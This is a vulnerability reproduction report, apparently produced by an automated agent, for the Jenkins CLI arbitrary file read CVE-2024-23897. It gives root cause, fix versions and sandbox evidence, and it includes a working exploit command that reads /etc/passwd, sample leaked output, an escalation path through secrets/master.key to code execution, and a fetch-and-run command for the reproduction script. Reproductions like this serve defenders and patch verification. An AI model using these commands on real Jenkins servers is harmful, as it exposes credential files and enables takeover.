CVE-2024-23897: Verified Repro With Script Download
CVE-2024-23897: Jenkins CLI arbitrary file read via @ argument expansion
CVE-2024-23897 is verified against jenkins · generic. Affected versions: weekly <= 2.441; LTS <= 2.426.2. Fixed in 2.442; 2.426.3; 2.440.1. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00200.
What Is CVE-2024-23897?
CVE-2024-23897 is a critical (CVSS 9.8) arbitrary file read vulnerability (CWE-22) in the Jenkins CLI. An unauthenticated attacker can read files from the Jenkins controller by abusing args4j's @-argument expansion. Pruva reproduced it (reproduction REPRO-2026-00200).
CVE-2024-23897 Severity & CVSS Score
CVE-2024-23897 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected jenkins Versions
jenkins · generic versions weekly <= 2.441; LTS <= 2.426.2 are affected.
How to Reproduce CVE-2024-23897
pruva-verify REPRO-2026-00200 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00200/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2024-23897
- reached the target end-to-end
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
@/etc/passwd CLI argument over HTTP
- jenkins-cli.jar
- HTTP /cli
- CLICommand.main
- args4j expandAtFiles
- file read
- error echo
reproduction_steps.sh How the agent worked
Root Cause and Exploit Chain for CVE-2024-23897
1. Summary
CVE: CVE-2024-23897 Product: Jenkins core (controller) Vulnerable Versions: weekly ≤ 2.441; LTS ≤ 2.426.2 Patched Versions: 2.442; 2.426.3; 2.440.1 Claimed Surface: api_remote (CLI over HTTP) Claimed Impact: code_execution (via leaked secrets enabling RCE) Observed Impact: info_leak (arbitrary file read on the controller) Reproduction Status: CONFIRMED
Jenkins core's CLI command parser uses the args4j library's expandAtFiles feature, which replaces any CLI argument beginning with @ with the contents of the referenced file, split into individual lines. Because this feature was enabled by default in Jenkins 2.441 and earlier, an attacker could send a CLI command over HTTP with an argument such as @/etc/passwd. Jenkins would read the referenced file from the controller's filesystem and inject its contents as command arguments. When those arguments appear in error messages (e.g., connect-node reporting "No such agent"), the file contents are disclosed to the attacker.
2. Root Cause
The root cause is that Jenkins did not disable args4j's @-file expansion (expandAtFiles) in its CLI argument parser (hudson.cli.CLICommand). The args4j CmdLineParser expands any argument starting with @ into the file's lines, treating each line as a separate argument. This expansion happens server-side on the Jenkins controller when CLI commands are dispatched over the HTTP CLI protocol.
The vulnerable code path:
- The Jenkins CLI jar sends a command and its arguments to the Jenkins controller via HTTP (
/cliendpoint,-httpprotocol). - The controller's
CLICommand.main()invokes args4j'sCmdLineParserto parse the arguments. CmdLineParserwithexpandAtFiles=truereads the file referenced by@<path>from the controller's filesystem.- The file's lines become individual arguments to the CLI command.
- Commands such as
connect-nodeecho argument values in error messages (e.g.,No such agent "<line>" exists), disclosing the file contents.
Key distinction: The file read occurs on the Jenkins controller (server), not on the client. This makes it a remote arbitrary-file-read vulnerability exploitable over the HTTP API.
3. Reproduction
Environment
- Docker image:
jenkins/jenkins:2.441-jdk17(vulnerable) andjenkins/jenkins:2.442-jdk17(fixed) - Setup wizard: disabled via
-Djenkins.install.runSetupWizard=false - Anonymous access: enabled (default when setup wizard is skipped)
- CLI protocol: HTTP (
-httpflag onjenkins-cli.jar)
Steps
- Start Jenkins 2.441 in a Docker container with
-Djenkins.install.runSetupWizard=false. - Wait for "Jenkins is fully up and running" in the container logs.
- Download
jenkins-cli.jarfrom the controller (/jnlpJars/jenkins-cli.jar). - Execute:
java -jar jenkins-cli.jar -s http://localhost:8080/ -http connect-node "@/etc/passwd" - Observe that every line of
/etc/passwdis reflected in the error output. - Repeat with Jenkins 2.442 (fixed) and verify the
@is treated literally.
Evidence
Vulnerable (Jenkins 2.441) — connect-node @/etc/passwd: Each line of /etc/passwd appears in "No such agent" error messages. 19 of 19 ground-truth lines were confirmed leaked. Example lines:
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
Fixed (Jenkins 2.442) — same command:
ERROR: No such agent "@/etc/passwd" exists. — the @ is treated literally, no file content disclosed.
Anonymous access: who-am-i returned Authenticated as: anonymous — no credentials needed.
Proof Artifacts
logs/vuln_attempt1.log/logs/vuln_attempt2.log— vulnerable CLI output showing leaked /etc/passwdlogs/fixed_attempt1.log/logs/fixed_attempt2.log— fixed CLI output showing @ treated literallylogs/vuln_passwd_ground_truth.txt— direct cat /etc/passwd from vuln container for verificationlogs/whoami_vuln.out/logs/whoami_fixed.out— anonymous access confirmationlogs/docker_vuln.log/logs/docker_fixed.log— Jenkins startup logs
4. Impact Analysis
Direct Impact: Arbitrary File Read (info_leak)
- Unauthenticated users can read the first few lines of arbitrary files on the controller using CLI commands accessible to anonymous users.
- Users with Overall/Read permission can read entire files.
Escalation to RCE (claimed impact)
The ticket claims code_execution. The arbitrary file read enables RCE through an escalation chain:
- Read sensitive files (
secrets/master.key,secrets/initialAdminPassword, remember-me secrets). - Use leaked secrets to forge authentication tokens/cookies or access the resource root URL.
- Leverage forged credentials to execute arbitrary code (script console, job creation, plugin install).
This reproduction confirms the core arbitrary file read (the precondition for RCE) but does not demonstrate the full RCE chain. Observed impact is info_leak; claimed impact is code_execution.
5. Fix
Jenkins 2.442 disabled @-file expansion by default. The system property -Dhudson.cli.CLICommand.allowAtSyntax=true can re-enable it (strongly discouraged). The fix ensures @<path> arguments are treated as literal strings.
6. Verdict
- Claim outcome: partial (core file-read vulnerability confirmed; full RCE chain not demonstrated)
- Claim block reason: impact_mismatch (observed info_leak vs claimed code_execution)
- Repro result: confirmed (file read on vulnerable, blocked on fixed)
- Validated surface: api_remote (Jenkins HTTP CLI endpoint)
- Evidence scope: production_path (real Jenkins controller in Docker)
- Observed impact class: info_leak
- Exploitability confidence: high
- Exploit chain demonstrated: false
CVE-2024-23897 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
cat /data/pruva/runs/b296fdc1-6e55-413e-baec-395e18ca3a2f/bundle/ticket.json | tail -c 1200{"cwd":"/data/pruva/runs/b296fdc1-6e55-413e-baec-395e18ca3a2f","duration_ms":23,"exit_code":0,"stderr":"","stdout":"):\\n ```bash\\n java -jar jenkins-cli.jar -s http://localhost:8080 -auth reader:API_TOKEN connect-node \\\"@/etc/passwd\\\"\\n ```\\n *(If anonymous read is enabled, omit `-auth`.)*\\n3. Observe the CLI output/error messages; each line of `/etc/passwd` is treated as an argument and echoed in error output when Jenkins fails to connect to a node with that name.\\n\\n## Indicators of Success\\n- CLI output includes lines from the targeted file (e.g., `/etc/passwd`) proving arbitrary file read on the Jenkins controller.\\n\\n## Mitigations\\n- Upgrade to Jenkins 2.442, LTS 2.426.3, or LTS 2.440.1.\\n- If upgrade is not possible, **disable CLI access** (workaround documented by Jenkins).\\n\\n## Notes\\n- Reading binary files is limited by the controller’s default character encoding (UTF-8 makes some bytes unreadable; Windows-1252 may allow more complete reads).\\n\",\n \"product\": \"generic:jenkins\",\n \"severity\": \"critical\",\n \"status\": \"open\",\n \"summary\": \"Jenkins CLI argument parsing expands @<path> into file contents, enabling unauthenticate… [truncated]echo "=== Docker ==="; which docker && docker --version 2>&1 | head -1; echo "=== Java ==="; which java && java -version 2>&1 | head -1; echo "=== Project cache ==="; ls -la /data/pruva/project-cache/1b32eb77-2993-4f6d-b197-c6547e683bde/ 2>&1; echo "=== whoami ==="; whoami; echo "=== sudo check ==="; sudo -n true 2>&1 && echo "sudo OK" || echo "no passwordless sudo"=== Docker === /usr/bin/docker Docker version 29.1.3, build 29.1.3-0ubuntu4.1 === Java === === Project cache === total 12 drwxr-xr-x 3 vscode vscode 4096 Jul 1 22:25 . drwxr-xr-x 11 vscode vscode 4096 Jul 1 22:26 ..
docker ps 2>&1 | head -3; echo "=== docker info ==="; docker info 2>&1 | grep -i "server version\|storage\|running" | head -5CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 1122a016c0e3 athena-pruva-worker-sandbox:latest "pruva-worker --back…" 10 seconds ago Up 9 seconds (healthy) athena-pruva-worker-glm52-gpt55-repro3 be48901ca263 athena-pruva-worker-sandbox:latest "pruva-worker --back…" 52 seconds ago Up 51 seconds (healthy) athena-pruva-worker-glm52-gpt55-repro2 === docker info === Running: 20 Server Version: 29.2.1 Storage Driver: overlay2
#!/bin/bash
set -euo pipefail
# Portable paths
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"
VULN_TAG="${VULN_TAG:-2.441}"
FIXED_TAG="${FIXED_TAG:-2.442}"
IMAGE="jenkins/jenkins"
JDK_SUFFIX="${JDK_SUFFIX:-jdk17}"
HOST_PORT="${HOST_PORT:-18080}"
echo "[*] CVE-2024-23897 reproduction - Jenkins CLI @-file expansion arbitrary file read"
echo "[*] Vulnerable: ${IMAGE}:${VULN_TAG}-${JDK_SUFFIX}"
echo "[*] Fixed: ${IMAGE}:${FIXED_TAG}-${JDK_SUFFIX}"
Unknown error
#!/bin/bash
set -euo pipefail
# Portable paths
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"
# ---- Resolve project cache dir (proof-carry / durable reuse) ----
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
CACHE_DIR=$(python3 -c 'import json,sys
try:
d=json.load(open(sys.argv[1]))
print(d.get("project_cache_dir","") if d.get("prepared") else "")
except Exception:
print("")
' "$ROOT/project_cache_context.json" 2>/dev/null || true)Artifacts and Evidence for CVE-2024-23897
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2024-23897
Upgrade jenkins · generic to 2.442; 2.426.3; 2.440.1 or later.
FAQ: CVE-2024-23897
Is CVE-2024-23897 exploitable without authentication?
Which Jenkins versions are affected by CVE-2024-23897, and where is it fixed?
How can I reproduce CVE-2024-23897?
References for CVE-2024-23897
Authoritative sources for CVE-2024-23897 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.